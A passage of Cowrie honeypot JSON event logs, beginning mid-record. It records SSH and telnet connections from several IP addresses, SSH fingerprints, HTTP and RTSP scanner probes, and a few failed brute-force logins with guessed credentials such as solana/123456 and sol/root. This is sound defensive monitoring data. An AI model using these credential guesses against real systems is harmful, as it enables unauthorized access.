openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:28.263685Z","src_ip":"2.57.122.210","session":"a8227b7f80a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123456","message":"login attempt [solana/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:28.965059Z","src_ip":"2.57.122.210","session":"a8227b7f80a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:30.097585Z","src_ip":"2.57.122.210","session":"a8227b7f80a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":58963,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5e685875785","protocol":"ssh","message":"New connection: 202.165.15.132:58963 (10.17.0.5:22) [session: f5e685875785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:57.277734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:57.282870Z","src_ip":"202.165.15.132","session":"f5e685875785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:57.525553Z","src_ip":"202.165.15.132","session":"f5e685875785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53968,"dst_ip":"10.17.0.5","dst_port":22,"session":"598aaa8be884","protocol":"ssh","message":"New connection: 193.32.162.145:53968 (10.17.0.5:22) [session: 598aaa8be884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:57.617112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:57.662096Z","src_ip":"193.32.162.145","session":"598aaa8be884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:57.727510Z","src_ip":"193.32.162.145","session":"598aaa8be884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:58.196129Z","src_ip":"193.32.162.145","session":"598aaa8be884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test2011","message":"login attempt [test/test2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:58.524098Z","src_ip":"202.165.15.132","session":"f5e685875785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:59.304095Z","src_ip":"193.32.162.145","session":"598aaa8be884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:59.767725Z","src_ip":"202.165.15.132","session":"f5e685875785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":56962,"dst_ip":"159.203.135.109","dst_port":23,"session":"10de270bae16","protocol":"telnet","message":"New connection: 34.140.254.88:56962 (159.203.135.109:23) [session: 10de270bae16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:14.281339Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":56978,"dst_ip":"159.203.135.109","dst_port":23,"session":"01c252370b22","protocol":"telnet","message":"New connection: 34.140.254.88:56978 (159.203.135.109:23) [session: 01c252370b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:14.437899Z"}
{"eventid":"cowrie.session.closed","duration":0.005247592926025391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:14.443029Z","src_ip":"34.140.254.88","session":"01c252370b22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":56988,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6c35ca99d50","protocol":"telnet","message":"New connection: 34.140.254.88:56988 (159.203.135.109:23) [session: c6c35ca99d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:14.592942Z"}
{"eventid":"cowrie.session.closed","duration":7.980325698852539,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:22.261554Z","src_ip":"34.140.254.88","session":"10de270bae16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39646,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d64386d0879","protocol":"telnet","message":"New connection: 34.140.254.88:39646 (159.203.135.109:23) [session: 8d64386d0879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:33.748354Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:33.753959Z","src_ip":"34.140.254.88","session":"8d64386d0879","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:33.757934Z","src_ip":"34.140.254.88","session":"8d64386d0879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08854150772094727,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:33.836792Z","src_ip":"34.140.254.88","session":"8d64386d0879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39656,"dst_ip":"159.203.135.109","dst_port":23,"session":"4552198cb317","protocol":"telnet","message":"New connection: 34.140.254.88:39656 (159.203.135.109:23) [session: 4552198cb317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:33.911813Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39660,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee5413b5c5e","protocol":"telnet","message":"New connection: 34.140.254.88:39660 (159.203.135.109:23) [session: 7ee5413b5c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:34.066515Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39670,"dst_ip":"159.203.135.109","dst_port":23,"session":"62f151e52e0f","protocol":"telnet","message":"New connection: 34.140.254.88:39670 (159.203.135.109:23) [session: 62f151e52e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:34.221789Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39682,"dst_ip":"159.203.135.109","dst_port":23,"session":"6620da9611f1","protocol":"telnet","message":"New connection: 34.140.254.88:39682 (159.203.135.109:23) [session: 6620da9611f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:34.378526Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39690,"dst_ip":"159.203.135.109","dst_port":23,"session":"637fc3b933f7","protocol":"telnet","message":"New connection: 34.140.254.88:39690 (159.203.135.109:23) [session: 637fc3b933f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:34.539176Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39694,"dst_ip":"159.203.135.109","dst_port":23,"session":"54ed3cff90f7","protocol":"telnet","message":"New connection: 34.140.254.88:39694 (159.203.135.109:23) [session: 54ed3cff90f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:34.696082Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39704,"dst_ip":"159.203.135.109","dst_port":23,"session":"685a7d87691a","protocol":"telnet","message":"New connection: 34.140.254.88:39704 (159.203.135.109:23) [session: 685a7d87691a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:34.851386Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39720,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b7acc10056e","protocol":"telnet","message":"New connection: 34.140.254.88:39720 (159.203.135.109:23) [session: 8b7acc10056e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:35.007105Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39730,"dst_ip":"159.203.135.109","dst_port":23,"session":"a31b58ebacb8","protocol":"telnet","message":"New connection: 34.140.254.88:39730 (159.203.135.109:23) [session: a31b58ebacb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:35.163969Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39744,"dst_ip":"159.203.135.109","dst_port":23,"session":"3469d0cd8b1f","protocol":"telnet","message":"New connection: 34.140.254.88:39744 (159.203.135.109:23) [session: 3469d0cd8b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:35.396693Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39756,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b9a45b6ce3c","protocol":"telnet","message":"New connection: 34.140.254.88:39756 (159.203.135.109:23) [session: 6b9a45b6ce3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:35.553848Z"}
{"eventid":"cowrie.session.closed","duration":0.005586147308349609,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:35.559318Z","src_ip":"34.140.254.88","session":"6b9a45b6ce3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":39768,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fcf6422f00b","protocol":"telnet","message":"New connection: 34.140.254.88:39768 (159.203.135.109:23) [session: 4fcf6422f00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:35.712689Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4882,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb24f7501cb1","protocol":"telnet","message":"New connection: 34.140.254.88:4882 (159.203.135.109:23) [session: eb24f7501cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:35.868711Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4886,"dst_ip":"159.203.135.109","dst_port":23,"session":"20dcd6ce08ca","protocol":"telnet","message":"New connection: 34.140.254.88:4886 (159.203.135.109:23) [session: 20dcd6ce08ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:36.027662Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4900,"dst_ip":"159.203.135.109","dst_port":23,"session":"feb289943ac7","protocol":"telnet","message":"New connection: 34.140.254.88:4900 (159.203.135.109:23) [session: feb289943ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:36.184373Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4904,"dst_ip":"159.203.135.109","dst_port":23,"session":"85dc5d6c54a9","protocol":"telnet","message":"New connection: 34.140.254.88:4904 (159.203.135.109:23) [session: 85dc5d6c54a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:36.339767Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4914,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8c715586547","protocol":"telnet","message":"New connection: 34.140.254.88:4914 (159.203.135.109:23) [session: e8c715586547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:36.493876Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4922,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c4329b1c3c7","protocol":"telnet","message":"New connection: 34.140.254.88:4922 (159.203.135.109:23) [session: 9c4329b1c3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:36.650503Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4930,"dst_ip":"159.203.135.109","dst_port":23,"session":"726f4ec7273a","protocol":"telnet","message":"New connection: 34.140.254.88:4930 (159.203.135.109:23) [session: 726f4ec7273a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:36.805594Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4934,"dst_ip":"159.203.135.109","dst_port":23,"session":"37ca940396c2","protocol":"telnet","message":"New connection: 34.140.254.88:4934 (159.203.135.109:23) [session: 37ca940396c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:36.961931Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:36.967600Z","src_ip":"34.140.254.88","session":"37ca940396c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4940,"dst_ip":"159.203.135.109","dst_port":23,"session":"a36cedc3bac5","protocol":"telnet","message":"New connection: 34.140.254.88:4940 (159.203.135.109:23) [session: a36cedc3bac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:37.123687Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4942,"dst_ip":"159.203.135.109","dst_port":23,"session":"ead09ebfb850","protocol":"telnet","message":"New connection: 34.140.254.88:4942 (159.203.135.109:23) [session: ead09ebfb850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:37.280593Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4954,"dst_ip":"159.203.135.109","dst_port":23,"session":"324fe699eb3f","protocol":"telnet","message":"New connection: 34.140.254.88:4954 (159.203.135.109:23) [session: 324fe699eb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:37.437301Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4960,"dst_ip":"159.203.135.109","dst_port":23,"session":"c104ae8a34a5","protocol":"telnet","message":"New connection: 34.140.254.88:4960 (159.203.135.109:23) [session: c104ae8a34a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:37.592424Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4974,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d4aef4c2e19","protocol":"telnet","message":"New connection: 34.140.254.88:4974 (159.203.135.109:23) [session: 9d4aef4c2e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:37.746642Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4986,"dst_ip":"159.203.135.109","dst_port":23,"session":"7154d5dab9a1","protocol":"telnet","message":"New connection: 34.140.254.88:4986 (159.203.135.109:23) [session: 7154d5dab9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:37.901266Z"}
{"eventid":"cowrie.session.closed","duration":0.005975246429443359,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:37.907092Z","src_ip":"34.140.254.88","session":"7154d5dab9a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":4994,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dc18c417794","protocol":"telnet","message":"New connection: 34.140.254.88:4994 (159.203.135.109:23) [session: 5dc18c417794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.057373Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.254.88","src_port":5006,"dst_ip":"159.203.135.109","dst_port":23,"session":"008cf96af678","protocol":"telnet","message":"New connection: 34.140.254.88:5006 (159.203.135.109:23) [session: 008cf96af678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.214556Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 7906","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 7906] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.221998Z","src_ip":"34.140.254.88","session":"008cf96af678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.3897714614868164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.604226Z","src_ip":"34.140.254.88","session":"008cf96af678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.5512630939483643,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.608500Z","src_ip":"34.140.254.88","session":"5dc18c417794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8688504695892334,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.615370Z","src_ip":"34.140.254.88","session":"9d4aef4c2e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.026303768157959,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.618610Z","src_ip":"34.140.254.88","session":"c104ae8a34a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.185136079788208,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.622298Z","src_ip":"34.140.254.88","session":"324fe699eb3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3474035263061523,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.627851Z","src_ip":"34.140.254.88","session":"ead09ebfb850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5074372291564941,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.630986Z","src_ip":"34.140.254.88","session":"a36cedc3bac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.6716856956481934,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.633453Z","src_ip":"34.140.254.88","session":"37ca940396c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8300507068634033,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.635516Z","src_ip":"34.140.254.88","session":"726f4ec7273a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.144213914871216,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.637934Z","src_ip":"34.140.254.88","session":"e8c715586547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9914333820343018,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.641806Z","src_ip":"34.140.254.88","session":"9c4329b1c3c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3052990436553955,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.644939Z","src_ip":"34.140.254.88","session":"85dc5d6c54a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.6207263469696045,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.648238Z","src_ip":"34.140.254.88","session":"20dcd6ce08ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.783139705657959,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.651724Z","src_ip":"34.140.254.88","session":"eb24f7501cb1","protocol":"telnet"}
